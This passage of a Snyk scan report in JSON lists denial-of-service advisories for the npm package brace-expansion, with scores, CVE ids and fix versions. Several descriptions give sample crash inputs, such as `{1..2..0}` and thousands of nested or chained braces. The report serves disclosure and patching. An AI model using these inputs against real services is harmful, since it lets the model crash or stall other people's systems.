"minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": 